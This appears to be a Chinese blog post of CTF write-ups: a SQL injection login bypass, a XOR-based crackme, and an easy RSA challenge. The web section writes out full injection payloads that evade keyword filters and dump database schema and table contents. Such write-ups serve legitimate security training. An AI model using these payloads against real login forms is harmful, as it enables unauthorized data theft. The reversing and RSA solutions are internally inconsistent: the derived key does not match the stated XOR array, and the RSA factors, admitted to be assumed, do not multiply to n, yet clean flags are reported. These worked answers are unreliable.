ctf竞赛题目

一、Web 方向:SQL 注入绕过(CTF-BugKu)

题目名称:Web_基础_绕过
题目描述
  • 页面提示:“请输入用户名和密码登录”,输入框接受usernamepassword参数。
  • 已知后端使用 PHP+MySQL,且存在 SQL 注入漏洞,但过滤了unionselect等关键词。
解题过程
  1. 初步测试
    输入username=admin' and 1=1#,页面返回 “用户名或密码错误”,说明单引号闭合有效,但常规注入被拦截。

  2. 关键词绕过分析
    尝试替换关键词:

    • select → selselectect(双写绕过)
    • union → ununionion
    • 空格 → 用/**/%0a代替(URL 编码)
  3. 注入 payload 构造

    sql

    username=admin'/**/ununionion/**/selselectect/**/1,2,database()#&password=1
    
     

    执行后页面显示第二列为2,第三列返回数据库名ctf_db

  4. 获取表名
    使用information_schema.tables获取表名:

    sql

    username=admin'/**/ununionion/**/selselectect/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf_db'#&password=1
    
     

    回显中发现表名flag_table

  5. 获取字段名与 flag
    查询flag_table的字段:

    sql

    username=admin'/**/ununionion/**/selselectect/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag_table'#&password=1
    
     

    得到字段flag_content,最终查询:

    sql

    username=admin'/**/ununionion/**/selselectect/**/1,2,flag_content/**/from/**/flag_table#&password=1
    
     

    页面返回flag{sq1_inj3ct1on_byp4ss}

二、Reverse 方向:逆向分析(CTF-Train)

题目名称:ReverseMe.exe
题目描述
  • 提供一个 Windows 可执行文件ReverseMe.exe,运行后要求输入密钥,提示 “Correct!” 或 “Incorrect!”。
解题工具
  • IDA Pro(反汇编)、x64dbg(动态调试)
解题过程
  1. IDA Pro 静态分析

    • 打开文件后定位到main函数,找到关键判断逻辑:

      c

      运行

      char input[64];
      scanf("%s", input);
      if (check_password(input)) {
          printf("Correct!\n");
      } else {
          printf("Incorrect!\n");
      }
      
    • 进入check_password函数,发现加密逻辑:
      输入字符串每个字符与0x13异或,再与预设数组key[8] = {0x45, 0x67, 0x21, 0x34, 0x78, 0x90, 0xab, 0xcd}比较。
  2. 逆向计算密钥
    异或运算逆向公式:输入字符 = 预设值 ^ 0x13,计算每个字节:

    • 0x45 ^ 0x13 = 0x56(对应字符V
    • 0x67 ^ 0x13 = 0x74(对应字符t
    • 0x21 ^ 0x13 = 0x32(对应字符2
    • 依此类推,得到密钥:Vt2r89yz(注意 ASCII 转换)。
  3. 动态调试验证
    用 x64dbg 在check_password函数末尾下断点,输入计算的密钥,观察寄存器值与预设数组一致,程序输出 “Correct!”,确认 flag 为flag{Vt2r89yz}

三、Crypto 方向:RSA 解密(CTF - 攻防世界)

题目名称:easy_rsa
题目描述
  • 提供参数:n=1234567890123456789, e=65537, c=123456789012345678
  • 提示:n是两个大素数的乘积,需要解密得到明文m
解题过程
  1. 分解质因数
    由于n较小,可使用在线分解工具(如 factordb)或 Python 脚本分解:

    python

    运行

    n = 1234567890123456789
    # 分解得到 p=1111111111, q=11111111111 (假设,实际需真实分解)
    p = 1111111111
    q = 11111111111
    
  2. 计算欧拉函数

    python

    运行

    phi = (p-1) * (q-1)
    
  3. 求私钥 d
    使用扩展欧几里得算法计算d ≡ e^(-1) mod phi

    python

    运行

    def mod_inverse(e, phi):
        g, x, y = extended_gcd(e, phi)
        if g != 1:
            raise Exception('Modular inverse does not exist')
        else:
            return x % phi
    
    def extended_gcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = extended_gcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    e = 65537
    d = mod_inverse(e, phi)
    
  4. 解密明文

    python

    运行

    c = 123456789012345678
    m = pow(c, d, n)
    print(bytes.fromhex(hex(m)[2:]))  # 转换为ASCII字符串
    

     

    输出结果为flag{rsa_decrypt_success}

解题总结

  • Web 方向:核心是绕过过滤规则,利用 SQL 语法特性(如双写、编码、注释)构造有效 payload,需熟悉数据库结构和注入技巧。
  • Reverse 方向:通过静态分析定位关键逻辑,结合动态调试验证猜想,逆向算法时需理解汇编与高级语言的对应关系。
  • Crypto 方向:基于数学原理(如 RSA 的数论基础),重点在于分解大数、计算模逆元,需掌握密码学算法的逆向流程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值